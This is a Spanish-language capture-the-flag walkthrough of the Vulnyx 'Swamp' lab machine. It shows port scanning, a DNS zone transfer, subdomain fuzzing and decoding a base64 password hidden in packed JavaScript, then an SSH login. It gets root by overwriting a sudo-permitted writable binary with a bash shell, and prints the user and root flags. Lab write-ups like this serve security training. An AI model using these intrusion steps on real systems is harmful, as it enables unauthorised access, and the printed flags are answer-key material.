Swamp Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 03:09 EDT
Nmap scan report for 192.168.5.89
Host is up (0.00099s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
53/tcp open  domain  ISC BIND 9.18.28-1~deb12u2 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.18.28-1~deb12u2-Debian
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://swamp.nyx
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:6E:84:6B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 secondsVeremos varias cosas interesantes, entre ellas el puerto 80 y el puerto 53 (DNS), primero vamos a ver el puerto 80 a ver que vemos, entrando dentro del mismo veremos que nos intenta cargar un dominio llamado swamp.nyx, por lo que vamos a meterlo en el archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP>              swamp.nyxUna vez guardado, volveremos a entrar en el puerto 80 y nos cargara una pagina con una imagen simplemente sin nada mas, por lo que vamos a realizar un poco de fuzzing a ver que vemos.
DNS
Si realizamos un escaneo de DNS para ver que encontramos respecto al dominio veremos varios nombres que podrian servir para un subdominio, por lo que vamos a crear una lista con dichos subdominios.
dig axfr swamp.nyx @<IP>Info:
; <<>> DiG 9.20.4-4-Debian <<>> axfr swamp.nyx @192.168.5.89
;; global options: +cmd
swamp.nyx.              604800  IN      SOA     ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
swamp.nyx.              604800  IN      NS      ns1.swamp.nyx.
d0nkey.swamp.nyx.       604800  IN      A       0.0.0.0
dr4gon.swamp.nyx.       604800  IN      A       0.0.0.0
duloc.swamp.nyx.        604800  IN      A       0.0.0.0
f1ona.swamp.nyx.        604800  IN      A       0.0.0.0
farfaraway.swamp.nyx.   604800  IN      A       0.0.0.0
ns1.swamp.nyx.          604800  IN      A       0.0.0.0
shr3k.swamp.nyx.        604800  IN      A       0.0.0.0
swamp.nyx.              604800  IN      SOA     ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.5.89#53(192.168.5.89) (TCP)
;; WHEN: Tue Aug 26 03:22:49 EDT 2025
;; XFR size: 10 records (messages 1, bytes 309)Ahora vamos a realizar un fuzzing con dicha lista:
subdomains.txt
d0nkey
dr4gon
duloc
f1ona
farfaraway
ns1
shr3kFFUF
ffuf -c -t 200 -w subdomains.txt -H "Host: FUZZ.swamp.nyx" -u http://swamp.nyx/ -fs 0Info:
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://swamp.nyx/
 :: Wordlist         : FUZZ: /home/kali/Desktop/swamp/subdomains.txt
 :: Header           : Host: FUZZ.swamp.nyx
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________
farfaraway              [Status: 200, Size: 557, Words: 145, Lines: 25, Duration: 15ms]
f1ona                   [Status: 200, Size: 497, Words: 140, Lines: 25, Duration: 15ms]
duloc                   [Status: 200, Size: 508, Words: 142, Lines: 25, Duration: 17ms]
d0nkey                  [Status: 200, Size: 594, Words: 187, Lines: 31, Duration: 17ms]
shr3k                   [Status: 200, Size: 4809, Words: 1961, Lines: 138, Duration: 17ms]
dr4gon                  [Status: 200, Size: 498, Words: 140, Lines: 24, Duration: 19ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::Veremos que funciona todos, por lo que vamos añadirlos en el archivo hosts para entrar en cada uno de ellos a ver que vemos.
nano /etc/hosts
#Dentro del nano
<IP>            swamp.nyx d0nkey.swamp.nyx dr4gon.swamp.nyx duloc.swamp.nyx f1ona.swamp.nyx farfaraway.swamp.nyx ns1.swamp.nyx shr3k.swamp.nyxLo guardamos y probamos a entrar en cada uno de ellos a ver que vemos interesante, si entramos en el subdominio llamado farfaraway.swamp.nyx veremos en el codigo fuente un script que en los demas no esta.
Escalate user shrek
<script src="script.min.js"></script>Entrando dentro del codigo de JavaScript veremos un codigo ofuscado de tipo packet por lo que vamos a decodificarlo.
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('!M(){1C e;9 1D((e,t)=>{11(()=>{e("1y z 1z: 5")},1L)}).1I(e=>{6.7(e)}).1j(e=>{6.F(e)});8 t=1G e=>{1M{8 t=1g(1g 1l(e)).1p();6.7("1q 1l 2c:",t)}1j(o){6.F("1k 27 1d:",o)}};t("2d://2k.2h.2f/2g"),(()=>{8 e=k.26("1S");e.1T="1P 1V 22 R J 23",k.2b.1X(e)})();1W o{1Y(e,t){B.j=e,B.Q=t}C(){6.7(`${B.j}1Z:${B.Q}`)}}8 a=9 o("1O","1Q"),l=9 o("1R","24");a.C(),l.C();8 r=[1,2,3,4,5],n=r.2i(e=>2*e);6.7("2j 17:",n);8 s=r.2e((e,t)=>e+t,0);6.7("28 1i 17:",s);6.7("29 q:",{j:"T",b:30,2a:"1N"}),2l(()=>{6.7("12 1H 1r 1s 2 Z")},1t),k.1u("1v",()=>{6.7("1m 1o 1n J k")});8 g=9 14;6.7("1w W:",g.Y());8 i=9 14(g.1J()+1,g.1K(),g.1F());6.7("1E W:",i.Y());8 c=e=>{e%2==0?6.7(e+" z 1x"):6.7(e+" z 1A")};[10,21,32,1B,1U].V(c),11(()=>{6.7("12 2V 2W 3 Z")},2X);(e=>{8 t=e(10,20);6.7("2N 1c 2P-2R M:",t)})((e,t)=>e+t);8{X:d,13:u,b:h}={X:"31",13:"33",b:25};6.7(`2m:${d}${u},36:${h}`);8 m=9 19;m.N("j","G"),m.N("b",30),m.N("K","1b 1b 37"),6.7("19 15:"),m.V((e,t)=>{6.7(t+": "+e)});8 p=9 18([1,2,3,4,4,5]);6.7("18 15 (2u 2v):",2x.1c(p));8 $=M*e(){E"2s D",E"2p D",E"2q D"}();6.7($.H().A),6.7($.H().A),6.7($.H().A);6.7("2r, T! 2H R J 2I.");2K:2G;8 f=x.1h(\'{"j":"G","b":30}\');6.7("2F x 1d:",f),"O"1e U?U.O.2B(e=>{6.7("2A 2C K:",e.P.2D,e.P.2E)},e=>{6.F("1k 2L K:",e)}):6.7("2J 2z 2y");8 v="    2n z 2o!   ",y=v.2t();6.7("2w 1f:",y);8 S=v.2M();6.7("2Z 1f:",S),I.35("q",x.34({j:"G",b:30}));8 w=x.1h(I.38("q"));6.7("39 q 1e I:",w),6.7("2Q 2O:",L.2S()),6.7("2T 2Y 1i 16:",L.2U(16)),6.7("1a A:",L.1a)}();',62,196,'||||||console|log|let|new||age||||||||name|document||||||user|||||||JSON||is|value|this|speak|part|yield|error|Shrek|next|localStorage|the|location|Math|function|set|geolocation|coords|sound|to||John|navigator|forEach|date|firstName|toString|seconds||setTimeout|This|lastName|Date|values||numbers|Set|Map|PI|Far|from|data|in|string|await|parse|of|catch|Error|fetch|Click|on|detected|json|Data|repeats|every|2e3|addEventListener|click|Current|even|Value|positive|odd|43|var|Promise|Future|getDate|async|message|then|getFullYear|getMonth|1e3|try|USA|Dog|Dynamically|Woof|Cat|div|innerHTML|54|added|class|appendChild|constructor|says|||text|DOM|Meow||createElement|fetching|Sum|Updated|country|body|success|https|reduce|com|posts|typicode|map|Doubled|jsonplaceholder|setInterval|Destructuring|JavaScript|fun|Second|Third|Hello|First|trim|no|duplicates|Trimmed|Array|available|not|Your|getCurrentPosition|current|latitude|longitude|Parsed|c2hyZWs6cHV0b3Blc2FvZWxhc25v|Welcome|page|Geolocation|Password|getting|toUpperCase|Result|number|higher|Random|order|random|Square|sqrt|runs|after|3e3|root|Uppercase||Jane||Doe|stringify|setItem|Age|Away|getItem|Stored'.split('|'),0,{}))Ahora si lo decodificamos lo veremos de esta forma:
!function()
	{
	var e;
	new Promise((e,t)=>
		{
		setTimeout(()=>
			{
			e("Value is positive: 5")
		}
		,1e3)
	}
	).then(e=>
		{
		console.log(e)
	}
	).catch(e=>
		{
		console.error(e)
	}
	);
	let t=async e=>
		{
		try
			{
			let t=await(await fetch(e)).json();
			console.log("Data fetch success:",t)
		}
		catch(o)
			{
			console.error("Error fetching data:",o)
		}
	};
	t("https://jsonplaceholder.typicode.com/posts"),(()=>
		{
		let e=document.createElement("div");
		e.innerHTML="Dynamically added text to the DOM",document.body.appendChild(e)
	}
	)();
	class o
		{
		constructor(e,t)
			{
			this.name=e,this.sound=t
		}
		speak()
			{
			console.log(`$
				{
				this.name
			}
			says:$
				{
				this.sound
			}
			`)
		}
	}
	let a=new o("Dog","Woof"),l=new o("Cat","Meow");
	a.speak(),l.speak();
	let r=[1,2,3,4,5],n=r.map(e=>2*e);
	console.log("Doubled numbers:",n);
	let s=r.reduce((e,t)=>e+t,0);
	console.log("Sum of numbers:",s);
	console.log("Updated user:",
		{
		name:"John",age:30,country:"USA"
	}
	),setInterval(()=>
		{
		console.log("This message repeats every 2 seconds")
	}
	,2e3),document.addEventListener("click",()=>
		{
		console.log("Click detected on the document")
	}
	);
	let g=new Date;
	console.log("Current date:",g.toString());
	let i=new Date(g.getFullYear()+1,g.getMonth(),g.getDate());
	console.log("Future date:",i.toString());
	let c=e=>
		{
		e%2==0?console.log(e+" is even"):console.log(e+" is odd")
	};
	[10,21,32,43,54].forEach(c),setTimeout(()=>
		{
		console.log("This runs after 3 seconds")
	}
	,3e3);
	(e=>
		{
		let t=e(10,20);
		console.log("Result from higher-order function:",t)
	}
	)((e,t)=>e+t);
	let
		{
		firstName:d,lastName:u,age:h
	}
	=
		{
		firstName:"Jane",lastName:"Doe",age:25
	};
	console.log(`Destructuring:$
		{
		d
	}
	$
		{
		u
	}
	,Age:$
		{
		h
	}
	`);
	let m=new Map;
	m.set("name","Shrek"),m.set("age",30),m.set("location","Far Far Away"),console.log("Map values:"),m.forEach((e,t)=>
		{
		console.log(t+": "+e)
	}
	);
	let p=new Set([1,2,3,4,4,5]);
	console.log("Set values (no duplicates):",Array.from(p));
	let $=function*e()
		{
		yield"First part",yield"Second part",yield"Third part"
	}
	();
	console.log($.next().value),console.log($.next().value),console.log($.next().value);
	console.log("Hello, John! Welcome to the page.");
	Password:c2hyZWs6cHV0b3Blc2FvZWxhc25v;
	let f=JSON.parse('
		{
		"name":"Shrek","age":30
	}
	');
	console.log("Parsed JSON data:",f),"geolocation"in navigator?navigator.geolocation.getCurrentPosition(e=>
		{
		console.log("Your current location:",e.coords.latitude,e.coords.longitude)
	}
	,e=>
		{
		console.error("Error getting location:",e)
	}
	):console.log("Geolocation not available");
	let v="    JavaScript is fun!   ",y=v.trim();
	console.log("Trimmed string:",y);
	let S=v.toUpperCase();
	console.log("Uppercase string:",S),localStorage.setItem("user",JSON.stringify(
		{
		name:"Shrek",age:30
	}
	));
	let w=JSON.parse(localStorage.getItem("user"));
	console.log("Stored user in localStorage:",w),console.log("Random number:",Math.random()),console.log("Square root of 16:",Math.sqrt(16)),console.log("PI value:",Math.PI)
}
();Veremos estas lineas interesantes:
console.log("Hello, John! Welcome to the page.");
	Password:c2hyZWs6cHV0b3Blc2FvZWxhc25v;
	let f=JSON.parse('
		{
		"name":"Shrek","age":30
	}Si decodificamos ese Base64 veremos esto:
echo 'c2hyZWs6cHV0b3Blc2FvZWxhc25v' | base64 -dInfo:
shrek:putopesaoelasnoVamos a probar dichas credenciales por SSH a ver que vemos.
SSH
ssh shrek@<IP>Metemos como contraseña putopesaoelasno...
Linux swamp 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan  4 13:12:39 2025 from 192.168.1.33
shrek@swamp:~$ whoami
shrekVeremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
7d199d72f12135ef193ad19faf9468efEscalate Privileges
Si listamos los permisos SUID que hay en el sistema veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/nullInfo:
1048992    640 -rwsr-xr-x   1 root     root       653888 Jun 22  2024 /usr/lib/openssh/ssh-keysign
  1062369     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1046487     36 -rwsr-xr-x   1 root     root          35128 Oct 18  2024 /usr/bin/umount
  1047858     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  1050027     84 -rwsrwxrwx   1 root     root          85376 Sep 14  2022 /usr/bin/mt-gnu
  1044597     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  1044577     72 -rwsr-xr-x   1 root     root          72000 Oct 18  2024 /usr/bin/su
  1046483     60 -rwsr-xr-x   1 root     root          59704 Oct 18  2024 /usr/bin/mount
  1044593     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  1074722    276 -rwsr-xr-x   1 root     root         281624 Jun 27  2023 /usr/bin/sudo
  1044596     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  1061091     36 -rwsr-xr-x   1 root     root          35128 Apr 18  2023 /usr/bin/fusermount3
  1044594     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
   913960     20 -rwsrwxrwx   1 root     root          17736 Jan  4  2025 /home/shrek/header_checkerVeremos esta linea interesante:
913960  20 -rwsrwxrwx   1 root  root  17736 Jan  4  2025 /home/shrek/header_checkerSi listamos dicho archivo veremos lo siguiente:
-rwsrwxrwx 1 root  root  17736 Jan  4  2025 header_checkerPero si a demas hacemos sudo -l veremos esto otro:
Matching Defaults entries for shrek on swamp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User shrek may run the following commands on swamp:
    (ALL) NOPASSWD: /home/shrek/header_checkerPodemos ejecutar el binario header_checker como el usuario root, por lo que podremos realizar lo siguiente:
Vamos a limpiar el binario de esta forma:
echo '' > /home/shrek/header_checkerAhora vamos a meter la siguiente informacion:
#!/bin/bash 
/bin/bashLo guardamos y ejecutaremos de esta forma:
sudo /home/shrek/header_checkerInfo:
root@swamp:/home/shrek# whoami
rootVemos que con esto seremos root por lo que leeremos la flag de root.
root.txt
9c7bddee2e2fb8ad03854f106f23c6b5Last updated
